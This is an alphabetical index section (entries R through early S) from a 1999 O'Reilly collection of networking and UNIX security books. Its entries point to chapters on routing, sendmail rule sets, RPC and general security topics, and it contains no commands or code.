source : Building Internet Firewalls, 5.8.2.5. Turning off routing
tables
Building Internet Firewalls, C.11. The Routing Table
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 7.1. Common Routing Configurations
building manually : TCP/IP Network Administration, 7.1. Common Routing Configurations
checking : TCP/IP Network Administration, 11.5. Checking Routing
minimal : TCP/IP Network Administration, 7.2. The Minimal Routing Table
unstable : TCP/IP Network Administration, B.8.5. The bgp Statement
viewing contents of : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
testing : Building Internet Firewalls, 4.4.1. Laboratory Networks
troubleshooting : TCP/IP Network Administration, 11.5. Checking Routing
where to filter : Building Internet Firewalls, 6.8.8. It Should Have Good Testing and
Routing Arbiters
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
Routing Information Protocol : (see RIP)
RPC table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
rpc.rexdserver : Practical UNIX & Internet Security, 17.3.22. RPC rpc.rexd (TCP Port 512)
rpcbind : (see portmapper)
RPCs (remote procedure calls)
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
Building Internet Firewalls, 6.3.3.4. RPC
Practical UNIX & Internet Security, 17.3.22. RPC rpc.rexd (TCP Port 512)
Practical UNIX & Internet Security, 19. RPC, NIS, NIS+, and Kerberos
Practical UNIX & Internet Security, 19.7.2. SESAME
TCP/IP Network Administration, 2.7.2. Port Numbers
(see also NFS; NIS)
authentication of
Practical UNIX & Internet Security, 19.2.2. RPC Authentication
Practical UNIX & Internet Security, 19.2.2.4. AUTH_KERB
portmapper program : Practical UNIX & Internet Security, 17.3.11. Sun RPC's portmapper (UDP and TCP Ports 111)
Secure : (see Secure RPC)
spoofing : Practical UNIX & Internet Security, 19.4.4.4. Spoofing RPC
RRs (standard resource records) : TCP/IP Network Administration, 8.3.2. Standard Resource Records
in named : TCP/IP Network Administration, C.3.1. Standard Resource Records
RS-232 serial protocol : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
rs.internic.net : TCP/IP Network Administration, 13.6. The White Pages
RS232C : TCP/IP Network Administration, 1.2. A Data Communications Model
RSA algorithm
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.4.6. RSA and Public Key Cryptography
Practical UNIX & Internet Security, 6.4.6.3. Strength of RSA
Practical UNIX & Internet Security, 6.5.3. Digital Signatures
rsh (restricted shell)
Building Internet Firewalls, 2.3. Remote Terminal Access and Command
Practical UNIX & Internet Security, 8.1.4.1. Restricted shells under System V UNIX
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
Practical UNIX & Internet Security, 17.3.18. rlogin and rsh (TCP Ports 513 and 514)
Practical UNIX & Internet Security, 17.3.18.6. /etc/hosts.lpd file
rshd program : Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
RUIDs : (see real UIDs/GIDs)
rule sets
sendmail, 5.3.4. Rule Sets
sendmail, 6.3.1. Skipping Rule Sets
sendmail, 8.3. Rule Sets
sendmail, 29. Rule Sets
TCP/IP Network Administration, 10.6.3. The Set Ruleset Command
(see also rules)
check_ : sendmail, 29.10. The check_... Rule Sets
check_mail rule set : sendmail, 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
debug_dumpstate : sendmail, 26.3.3.3. -- ruleset debug_dumpstate returns stat ..., pv: --
Hubset
sendmail, 11.2. Rule Set S=
sendmail, 11.4. Rule Set Hubset
m4 keywords for : sendmail, 19.4.3. Rules and rule sets
m4 preprocessor and : sendmail, 29.2. Rule Sets and m4
recipient-rewriting : (see R= equate)
rule set 0
sendmail, 9. Rule Set 0
sendmail, 17.3. Rule Set 0
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 29.6. Rule Set 0
mailertables : sendmail, 19.6. Alphabetized m4 Macros
rule set 1
sendmail, 11.7. Rule Set 1
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 29.9. Rule Set 1
rule set 2
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 29.8. Rule Set 2
rule set 3
sendmail, 10. Rule Set 3
sendmail, 17.1. Rule Set 3
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 29.4. Rule Set 3
sendmail, 38.6.3. Rule 3 Always Called First with -bt
rule set 4
sendmail, 17.4. Rule Set 4
sendmail, 29.5. Rule Set 4
rule set 5
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 29.7. Rule Set 5
sendmail, 30.8. Alphabetized F= Flags
rule set 96 : sendmail, 17.2. Rule Set 96
S= and : (see S= equate)
sender-rewriting : (see S= equate)
rule-testing mode
sendmail, 36.7. Alphabetized Reference
sendmail, 38. Rule-Set Testing with -bt
debugging and : sendmail, 38.7. Add Debugging for Detail
rules
sendmail, 8.2. Why Rules?
sendmail, 28. Rules
(see also rule sets)
(see protocols, standards)
for address transformation : sendmail, 5.3.3. Rules
LHS and RHS syntax
sendmail, 8.4. Rules
sendmail, 28.4. The Behavior of a Rule
m4 keywords for : sendmail, 19.4.3. Rules and rule sets
mail hub : sendmail, 17. The Hub's Complex Rules
processing flow of
sendmail, 10.5. Details of Rule Flow
sendmail, 29.3. The Sequence of Rule Sets
relays : sendmail, 19.4.5. Relays
rewriting using other rule sets : sendmail, 28.6.4. Rewrite Through Another Rule Set: $>set
showing by rule set : sendmail, 38.4.1. Show Rules in a Rule Set with =S
wildcards operators in : sendmail, 8.7. Wildcard Operators
runacct command : Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
RunAsUser option : sendmail, 34.8. Alphabetized Reference
ruusend command : Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
rw option (read and write access)
/etc/exports : Practical UNIX & Internet Security, 20.2.1.1. /etc/exports
for Linux systems : TCP/IP Network Administration, 9.1.2.2. The /etc/exports file
for Solaris systems : TCP/IP Network Administration, 9.1.2.1. The share command

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

s class : sendmail, 32.5. Alphabetized Reference
=S command (rule-testing mode) : sendmail, 8.5. The Workspace
S configuration command
sendmail, 5.3.4. Rule Sets
sendmail, 8.3. Rule Sets
sendmail, 27.2. Comments
sendmail, 29.1. The S Configuration Command
-s database switch : sendmail, 33.3.4.10. -s space replacement character (V8.7 and above)
s flag : sendmail, 30.8. Alphabetized F= Flags
S flag : sendmail, 30.8. Alphabetized F= Flags
S line (host status file) : sendmail, B.1. Status file lines
S line (qf file)
sendmail, 23.4. Printing the Queue
sendmail, 23.9. The qf File Internals
$s macro
sendmail, 23.9. The qf File Internals
sendmail, 31.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
$S macro : sendmail, 31.10. Alphabetized Reference
s option : (see SuperSafe (s) option)
S option : (see StatusFile (S) option)
S rule-testing command : sendmail, 38.4.1. Show Rules in a Rule Set with =S
-s switch (sendmail) : sendmail, 36.7. Alphabetized Reference
S/Key codebook scheme
Building Internet Firewalls, 10.3.1. One-Time Passwords
Practical UNIX & Internet Security, 8.7.3. Code Books
S= equate
sendmail, 6.3. The local Delivery Agent
sendmail, 6.3.1. Skipping Rule Sets
sendmail, 11.2. Rule Set S=
sendmail, 29.6.2. Selecting S= and R=
sendmail, 30.4. The Equates
sa command : Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
sabotage
(see denial of service)
(see terrorism; vandalism)
safe, storing security information in : TCP/IP Network Administration, 12.2.6. Secure Shell
SafeFileEnvironment option
sendmail, 22.8.3.6. The SafeFileEnvironment option
sendmail, 24.2.2. Delivery to Files
sendmail, 34.8. Alphabetized Reference
SAGE (System Administrators Guild) : Building Internet Firewalls, A.5.5. System Administrators Guild
salt
Practical UNIX & Internet Security, 8.6.2. What Is Salt?
Practical UNIX & Internet Security, 8.6.3. What the Salt Doesn't Do
sanitizing media : Practical UNIX & Internet Security, 12.3.2.3. Sanitize your media before disposal
SATAN package
Building Internet Firewalls, 12.2.4. Responding to Probes
Building Internet Firewalls, B.2.4. SATAN
Practical UNIX & Internet Security, 17.6.1. SATAN
Practical UNIX & Internet Security, E.4.7. SATAN
SATAN tool : TCP/IP Network Administration, 12.4.3.2. SATAN
saturated networks : (see networks and networking)
savacct file : Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
saved UID : Practical UNIX & Internet Security, 4.3.2. Saved IDs
SaveFromLine (f) option
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
saving
aliases in symbol table
sendmail, 24.5.4. No DBM Aliasing
sendmail, 33.8. Alphabetized Reference
backup media : Practical UNIX & Internet Security, 7.1.5. How Long Should You Keep a Backup?
bounced messages in qf file
sendmail, 23.3.6. Savemail Panic
(see also archiving information; backups)
sbrk command : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
scaling well
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 3.3. Domain Name Service
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
scanf command
sendmail, 32.1.2.1. scanf(3) variations
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
SCANF macro : sendmail, 18.8. Alphabetized Reference
scanning networks : Practical UNIX & Internet Security, 17.6. Network Scanning
SCCS (Source Code Control System)
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
Scherbius, Arthur : Practical UNIX & Internet Security, 6.3. The Enigma Encryption System
score keepers : Building Internet Firewalls, 1.2.2.3. Score Keepers
scp (secure copy) : TCP/IP Network Administration, 12.2.6. Secure Shell
screen savers : Practical UNIX & Internet Security, 12.3.5.2. X screen savers
screend package
Building Internet Firewalls, 6.5. Conventions for Packet Filtering
Building Internet Firewalls, B.3.1. screend
screened host architecture
Building Internet Firewalls, 4.2.2. Screened Host Architecture
Building Internet Firewalls, 9.2. Screened Host Architecture
screened subnet architecture
Building Internet Firewalls, 4.2.3. Screened Subnet Architecture
Building Internet Firewalls, 9.1. Screened Subnet Architecture
with dual-homed host architecture : Building Internet Firewalls, 4.3.8. It's OK to Use
screening routers
Building Internet Firewalls, 4.1.1. Packet Filtering
Building Internet Firewalls, 6. Packet Filtering
(see also packet filtering)
acceptable addresses for : Building Internet Firewalls, 6.5. Conventions for Packet Filtering
choosing : Building Internet Firewalls, 6.8. Choosing a Packet Filtering
configuring : Building Internet Firewalls, 6.2. Configuring a Packet Filtering
proxy systems and : Building Internet Firewalls, 7. Proxy Systems
rules for : Building Internet Firewalls, 6.5. Conventions for Packet Filtering
where to use : Building Internet Firewalls, 6.8.8. It Should Have Good Testing and
screens, multiple : Practical UNIX & Internet Security, 12.3.4.3. Multiple screens
script command : Practical UNIX & Internet Security, 24.1.2. Rule #2: DOCUMENT
script files
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 6.1.5.1. Enabling and disabling the interface
(see also startup script)
(see also UNIX, systems)
debugging tips : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
invoking dialup IP (dip) : TCP/IP Network Administration, A.1. Dial-Up IP
scriptfile : TCP/IP Network Administration, A.3. chat
scripting language : TCP/IP Network Administration, 6.3.2. Dial-Up PPP
scripts, CGI : (see CGI, scripts)
scytales : Practical UNIX & Internet Security, 6.1. A Brief History of Cryptography
search entry, in resolv.conf : TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
search programs : Building Internet Firewalls, 2.6. Other Information Services
search warrants
Practical UNIX & Internet Security, 26.2.4. Hazards of Criminal Prosecution
Practical UNIX & Internet Security, 26.2.5. If You or One of Your Employees Is a Target
searching for .rhosts file : Practical UNIX & Internet Security, 17.3.18.5. Searching for .rhosts files
Seberry, Jennifer : Practical UNIX & Internet Security, 6.5.4.3. HAVAL
secondary nameservers
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
TCP/IP Network Administration, 8.1.1. BIND Configurations
TCP/IP Network Administration, C.2. named.boot Configuration Commands
configuring : TCP/IP Network Administration, 8.3.1.2. Primary and secondary server configurations
secrecy
defined : TCP/IP Network Administration, 12.1.1. Assessing the Threat
Kerberos : Practical UNIX & Internet Security, 19.6.1.3. Authentication, data integrity, and secrecy
keys for : TCP/IP Network Administration, 6.3.4. PPP Daemon Security
secret keys : Practical UNIX & Internet Security, 6.4.6. RSA and Public Key Cryptography
Secret Service, U.S.
Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
Practical UNIX & Internet Security, F.3.3. U.S. Secret Service
secure copy (scp) : TCP/IP Network Administration, 12.2.6. Secure Shell
Secure Hash Algorithm (SHA)
Practical UNIX & Internet Security, 6.5.3. Digital Signatures
Practical UNIX & Internet Security, 6.5.4.2. SHA
Secure HTTP
Building Internet Firewalls, 8.6.4. Secure HTTP
Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
Secure NFS : Practical UNIX & Internet Security, 19.3.2.4. Using Secure NFS
-secure option
Practical UNIX & Internet Security, 19.3.2.4. Using Secure NFS
Practical UNIX & Internet Security, 19.4.4.5. Spoofing NIS
secure option for /etc/exports : Practical UNIX & Internet Security, 20.2.1.1. /etc/exports
SECURE points : TCP/IP Network Administration, 12.4.3.1. COPS
Secure RPC
Practical UNIX & Internet Security, 19.3. Secure RPC (AUTH_DES)
Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
with NIS/NIS+
Practical UNIX & Internet Security, 19.3.2. Setting Up Secure RPC with NIS
Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
NTP and : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
reauthentication : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
versus Kerberos : Practical UNIX & Internet Security, 19.6.2. Kerberos vs. Secure RPC
secure shell (ssh) : TCP/IP Network Administration, 12.2.6. Secure Shell
Secure Socket Layer : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
secure terminals : Practical UNIX & Internet Security, 8.5.1. Secure Terminals
SECURE_USERS variable : TCP/IP Network Administration, 12.4.3.1. COPS
SecureID : Practical UNIX & Internet Security, 8.7.2. Token Cards
SecureNet key : Practical UNIX & Internet Security, 8.7.2. Token Cards
security
Building Internet Firewalls, 1.4. What Is an Internet Firewall?
Building Internet Firewalls, 8.1.1.1. SMTP for
Building Internet Firewalls, 8.10.4. DNS Security Problems
Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
Practical UNIX & Internet Security, 12.1.1. The Physical Security Plan
sendmail, 18.2. Vendor Versus Compiling
sendmail, 22. Security
TCP/IP Network Administration, 1.7. Application Layer
(see also firewalls)
(see also integrity)
(see also incidents, attacks, threats)
(see also intruders/attackers)
(see also physical security)
(see also printers and printing)
(see also system administration)
against system failure : Building Internet Firewalls, 3.5. Fail-Safe Stance
audit : (see auditing)
bastion host speed and : Building Internet Firewalls, 5.3.2. How Fast a Machine?
bogus qf files
sendmail, 23.3. A Bogus qf File (V8 only): Qf
sendmail, 23.9. The qf File Internals
C line (qf file) : sendmail, 23.9. The qf File Internals
CGI scripts
Practical UNIX & Internet Security, 18.2.3. Writing Secure CGI Scripts and ProgramsThe
Practical UNIX & Internet Security, 18.2.4.1. Beware mixing HTTP with anonymous FTP
changed detection
Practical UNIX & Internet Security, 9.2. Detecting Change
Practical UNIX & Internet Security, 9.3. A Final Note
check_relay rule set : sendmail, 29.10.3. The check_relay Rule Set
checking arguments : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
choke points
Building Internet Firewalls, 6.1. Why Packet Filtering?
Building Internet Firewalls, 9.1.4.3. Choke point
Building Internet Firewalls, 9.2.3.3. Choke point
commercial authentication systems : Building Internet Firewalls, 10.4.3. Commercial Solutions
critical messages to log
Practical UNIX & Internet Security, 10.5.3. syslog Messages
Practical UNIX & Internet Security, 10.5.3.1. Beware false log entries
cryptography
(see cryptography)
(see encryption)
default stances : Building Internet Firewalls, 6.2.3. Default Permit Versus Default Deny
default user identities : sendmail, 13.2.5. The Default User Identities
defense in depth
Building Internet Firewalls, 9.1.4.2. Defense in depth
Building Internet Firewalls, 9.2.3.2. Defense in depth
definition of : Practical UNIX & Internet Security, 1.1. What Is Computer Security?
designing for network : Building Internet Firewalls, 1.4.3. Buying Versus Building
digital signatures : (see digital signatures)
disabling finger : Practical UNIX & Internet Security, 17.3.8.2. Disabling finger
disk quotas : Practical UNIX & Internet Security, 25.2.2.5. Using quotas
diversity of defense
Building Internet Firewalls, 3.7. Diversity of Defense
Building Internet Firewalls, 9.1.4.7. Diversity of defense
Building Internet Firewalls, 9.2.3.7. Diversity of defense
dormant accounts, finding : Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
drills : Practical UNIX & Internet Security, 24.1.3. Rule #3: PLAN AHEAD
encryption, network-level : Building Internet Firewalls, 10.5. Network-Level Encryption
environment variables and
sendmail, 5.3.12. Environment variables
sendmail, 22.2. The Environment
/etc/passwd : (see /etc/group file; /etc/passwd file)
-f switch and
sendmail, 14.6. Trusted User
sendmail, 22.8.1. Trusted Users
fail-safe stance
Building Internet Firewalls, 9.1.4.5. Fail-safe stance
Building Internet Firewalls, 9.2.3.5. Fail-safe stance
file permissions : sendmail, 13.2.4. The Default File Permissions
files and : (see appending to files)
firewalls : (see firewalls)
forged mail
sendmail, 13.2.1. The Location of the Queue Directory
sendmail, 22.7. Forged Mail
four steps toward : Practical UNIX & Internet Security, 2.4.4.7. Defend in depth
host : Building Internet Firewalls, 1.3.3. Host Security
HTTP : Building Internet Firewalls, 8.6.3. HTTP Security
identification protocol : Practical UNIX & Internet Security, 17.3.12. Identification Protocol (auth) (TCP Port
important of simplicity of : Building Internet Firewalls, 3.8. Simplicity
improving DES algorithm
Practical UNIX & Internet Security, 6.4.5. Improving the Security of DES
Practical UNIX & Internet Security, 6.4.5.2. Triple DES
incident response teams : (see incident response teams)
incidents : (see incidents, attacks, threats)
:include: lists : sendmail, 25.2.2. Tradeoffs
insecure networks : Building Internet Firewalls, 4.4.2. Insecure Networks
internal network protection : Building Internet Firewalls, 4.4. Internal Firewalls
IP
Practical UNIX & Internet Security, 16.3. IP Security
Practical UNIX & Internet Security, 16.3.3. Authentication
IP_SRCROUTE macro : sendmail, 18.8. Alphabetized Reference
IRC and : Building Internet Firewalls, 8.9.2. Internet Relay Chat
keeping checksums secure : Building Internet Firewalls, 13.5.3. Keeping Secured Checksums
lack of : Building Internet Firewalls, 1.3. How Can You Protect Your Site?
laws and : (see laws)
least privilege
Building Internet Firewalls, 9.1.4.1. Least privilege
Building Internet Firewalls, 9.2.3.1. Least privilege
legal liability
Practical UNIX & Internet Security, 26.4. Other Liability
Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
legal responsibilities : Building Internet Firewalls, 11.2.3. External Factors That Influence
levels of NIS+ servers : Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
link-level : Practical UNIX & Internet Security, 16.3.1. Link-level Security
of machine : Building Internet Firewalls, 5.8.1. Securing the Machine
mechanisms included within applications : TCP/IP Network Administration, 12.2.5. Secure the r Commands
message digests : (see message digests)
modem pools : Building Internet Firewalls, 10.6. Terminal Servers and Modem Pools
modems and
Practical UNIX & Internet Security, 14.4. Modems and Security
Practical UNIX & Internet Security, 14.4.4.2. Protection against eavesdropping
monitoring
TCP/IP Network Administration, 12.4. Security Monitoring
(see logs/logging)
multilevel (defense in depth)
Practical UNIX & Internet Security, 1.3. History of UNIX
Practical UNIX & Internet Security, 2.4.4.7. Defend in depth
Practical UNIX & Internet Security, 2.5.3. Final Words: Risk Management Means Common Sense
Practical UNIX & Internet Security, 17.2. Controlling Access to Servers
name service and : Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
national : Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
netacl : Building Internet Firewalls, 5.8.3.2. Using netacl to protect services
network
(see network services)
(see networks and networking)
operating system bugs : Building Internet Firewalls, 5.8.1.2. Fix all known system bugs
passwords
Practical UNIX & Internet Security, 3.2. Passwords
Practical UNIX & Internet Security, 3.6.1. Bad Passwords: Open Doors
Practical UNIX & Internet Security, 3.6.4. Passwords on Multiple Machines
Practical UNIX & Internet Security, 3.8. Summary
(see also passwords)
personnel
Practical UNIX & Internet Security, 13. Personnel Security
Practical UNIX & Internet Security, 13.3. Outsiders
Practical UNIX & Internet Security, A.1.1.12. Chapter 13: Personnel Security
planning : TCP/IP Network Administration, 12.1. Security Planning
policy
Building Internet Firewalls, 1.4.1.1. A firewall is a focus for security
Building Internet Firewalls, 11. Security Policies
Practical UNIX & Internet Security, 1.2. What Is an Operating System?
Practical UNIX & Internet Security, 2. Policies and Guidelines
Practical UNIX & Internet Security, 2.5.3. Final Words: Risk Management Means Common Sense
TCP/IP Network Administration, 12.1. Security Planning
reviewing : Building Internet Firewalls, 11.1.1.5. Provision for reviews
writing : TCP/IP Network Administration, 12.1.3. Writing a Security Policy
of POP : Building Internet Firewalls, 8.1.2. Post Office Protocol
practicing drills for : Building Internet Firewalls, 13.5.7. Doing Drills
preventing workstation as gateway : sendmail, 20.2.2. Workstation Refuses to Act as a Mail Gateway
for printers : TCP/IP Network Administration, 4.5.2. Print servers
protecting backups
Building Internet Firewalls, 5.10. Protecting the Machine and Backups
Practical UNIX & Internet Security, 7.1.6. Security for Backups
Practical UNIX & Internet Security, 7.1.6.3. Data security for backups
(see also backups)
protocol, and proxying : Building Internet Firewalls, 7.4.3. Protocol Security
publications, list of : TCP/IP Network Administration, 12.8. Words to the Wise
published resources on
Building Internet Firewalls, A. Resources
Practical UNIX & Internet Security, D. Paper Sources
Practical UNIX & Internet Security, D.2. Security Periodicals
queuing everything : sendmail, 34.8. Alphabetized Reference
rejecting mail from certain sites : sendmail, 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
responding to breakins
Practical UNIX & Internet Security, 24. Discovering a Break-in
Practical UNIX & Internet Security, 24.7. Damage Control
responding to incidents : Building Internet Firewalls, 13. Responding to Security Incidents
restricting logins : Practical UNIX & Internet Security, 8.3. Restricting Logins
reviewing response strategies : Building Internet Firewalls, 13.4.8. Periodic Review of Plans
.rhosts : (see .rhosts file)
risks
TCP/IP Network Administration, 4.1. Connected and Non-Connected Networks
TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
TCP/IP Network Administration, 5.3.1.1. Options
TCP/IP Network Administration, 5.3.1.2. Pseudo-device
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 9.1.2.1. The share command
TCP/IP Network Administration, 13.2.1. Creating an FTP Server
RunAsUser option : sendmail, 34.8. Alphabetized Reference
safe sendmail options : sendmail, 34.1.4. Options that Are Safe
sendmail problems : Practical UNIX & Internet Security, 17.3.4.1. sendmail and security
sendmail restricted shell : sendmail, 19.6. Alphabetized m4 Macros
sendmail.cf and : sendmail, 22.4. The Configuration File
Skipjack algorithm : Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
SNMP
Building Internet Firewalls, 8.12.1. Simple Network Management
Practical UNIX & Internet Security, 17.3.15. Simple Network Management Protocol (SNMP) (UDP Ports
software piracy : Practical UNIX & Internet Security, 26.4.2.1. Software piracy and the SPA
sources of information : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
standards of : Practical UNIX & Internet Security, 2.4.2. Standards
strategies for : Building Internet Firewalls, 3. Security Strategies
SUID_ROOT_FILES_OK macro : sendmail, 18.8. Alphabetized Reference
superuser problems : Practical UNIX & Internet Security, 4.2.1.5. The problem with the superuser
system crashes
Building Internet Firewalls, 5.10.1. Watch Reboots Carefully
Practical UNIX & Internet Security, 10.7.2.1. Exception and activity reports
TCP/IP Network Administration, 9.1.1. NFS Daemons
TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
TCP Wrapper : Building Internet Firewalls, 5.8.3.1. Using the TCP Wrapper package to protect services
terminal servers : Building Internet Firewalls, 10.6. Terminal Servers and Modem Pools
through obscurity
Building Internet Firewalls, 1.3.2. Security Through Obscurity
Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
Practical UNIX & Internet Security, 2.5.3. Final Words: Risk Management Means Common Sense
Practical UNIX & Internet Security, 8.8.9. Account Names Revisited: Using Aliases for Increased
Practical UNIX & Internet Security, 18.2.4. Keep Your Scripts Secret!
time information and : Building Internet Firewalls, 8.13. Network Time Protocol (NTP)
tools for : Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Tripwire package
Practical UNIX & Internet Security, 9.2.4. Tripwire
Practical UNIX & Internet Security, 9.2.4.2. Running Tripwire
trusted users : sendmail, 19.6. Alphabetized m4 Macros
universal participation : Building Internet Firewalls, 3.6. Universal Participation
UNIX and
Practical UNIX & Internet Security, 1. Introduction
Practical UNIX & Internet Security, 1.4. Security and UNIX
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
user awareness of
Practical UNIX & Internet Security, 1.4.1. Expectations
Practical UNIX & Internet Security, 2. Policies and Guidelines
Practical UNIX & Internet Security, 2.4.4.4. Concentrate on education
Practical UNIX & Internet Security, 13.2.2. Ongoing Training and Awareness
UUCP : (see UUCP)
weakest link
Building Internet Firewalls, 3.4. Weakest Link
Building Internet Firewalls, 9.1.4.4. Weakest link
Building Internet Firewalls, 9.2.3.4. Weakest link
weakness-finding tools : Practical UNIX & Internet Security, 11.1.1. Security Tools
when proxying is ineffective : Building Internet Firewalls, 7.8.2. Proxying Won't Secure the Service
whois service : Building Internet Firewalls, 8.8.2. whois
World Wide Web
Practical UNIX & Internet Security, 18. WWW Security
Practical UNIX & Internet Security, 18.7. Summary
X Window System
Practical UNIX & Internet Security, 17.3.21.2. X security
Practical UNIX & Internet Security, 17.3.21.3. The xhost facility
X11 window system mechanisms : Building Internet Firewalls, 8.16. X11 Window System
Security Emergency Response Team (SERT) : Practical UNIX & Internet Security, F.3.4.4. Australia: Internet .au domain
security file (UUCP) : Practical UNIX & Internet Security, 10.3.4. uucp Log Files
security holes
Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
(see also back doors; threats)
ftpd program : Practical UNIX & Internet Security, 6.5.2. Using Message Digests
mailing list for : Practical UNIX & Internet Security, E.1.3.3. Bugtraq
reporting : Practical UNIX & Internet Security, 2.5.1. Going Public
ruusend in L.cmds file : Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
SUID/SGID programs : Practical UNIX & Internet Security, 5.5.3.1. write: Example of a possible SUID/SGID security
/usr/lib/preserve : Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
UUCP : Practical UNIX & Internet Security, 15.7. Early Security Problems with UUCP
sed scripts : Practical UNIX & Internet Security, 11.1.4. Trojan Horses
seeds, random number
Practical UNIX & Internet Security, 23.6. Tips on Generating Random Numbers
Practical UNIX & Internet Security, 23.8. Picking a Random Seed
segments
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
select system call : Practical UNIX & Internet Security, 17.1.3. The /etc/inetd Program
selecting delivery agents : (see rule set 0)
selection lists : Practical UNIX & Internet Security, 18.2.3.1. Do not trust the user's browser!
self-destruct sequences : Practical UNIX & Internet Security, 27.2.1. Hardware Bugs
semicolon (;)
comment character : TCP/IP Network Administration, C.3.1. Standard Resource Records
ending gated configuration statements
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, B.2. The gated Configuration Language
semiprivileged users : sendmail, 22.5. Permissions
sender
sendmail, 29.6.2. Selecting S= and R=
(see also S= equate)
address of
sendmail, 6.3. The local Delivery Agent
sendmail, 11.1. Flow of the Sender's Address
sendmail, 23.4. Printing the Queue
sendmail, 23.9. The qf File Internals
sendmail, 31.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
TCP/IP Network Administration, 10.6.3. The Set Ruleset Command
TCP/IP Network Administration, 10.8.1. Testing Rewrite Rules
(see also $f macro; $g macro; rule set 1)
default format of : sendmail, 31.10. Alphabetized Reference
genericstable feature : sendmail, 19.6. Alphabetized m4 Macros
hostname part : (see $s macro)
rewriting : sendmail, 11.4.1. Rewrite the Lone Username
testing with check_compat : sendmail, 29.10.4. The check_compat Rule Set
check_mail rule set : sendmail, 29.10.1. The check_mail Rule Set
of envelope, logging : sendmail, 26.1.3.3. from= show envelope sender
full name for
sendmail, 36.7. Alphabetized Reference
(see $x macro)
headers for : sendmail, 35.6.2. Sender Headers
running sendmail as : sendmail, 36.7. Alphabetized Reference
unknown : sendmail, 35.10. Alphabetized Reference
"Sender:" header line : sendmail, 35.10. Alphabetized Reference
SENDFILES= command
Practical UNIX & Internet Security, 15.5.1.3. A Sample Permissions file
Practical UNIX & Internet Security, 15.5.2. Permissions Commands
sending messages
sendmail, 13.4. Sending Mail
sendmail, 14.5. Sending Real Mail
sendmail
Building Internet Firewalls, 2.1. Electronic Mail
Building Internet Firewalls, 3.1. Least Privilege
Building Internet Firewalls, 8.1.1.1. SMTP for
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
Practical UNIX & Internet Security, 11.5.2.5. .forward, .procmailrc
Practical UNIX & Internet Security, 11.5.3.3. /usr/lib/aliases, /etc/aliases,
Practical UNIX & Internet Security, 17.3.4. Simple Mail Transfer Protocol (SMTP) (TCP Port 25)
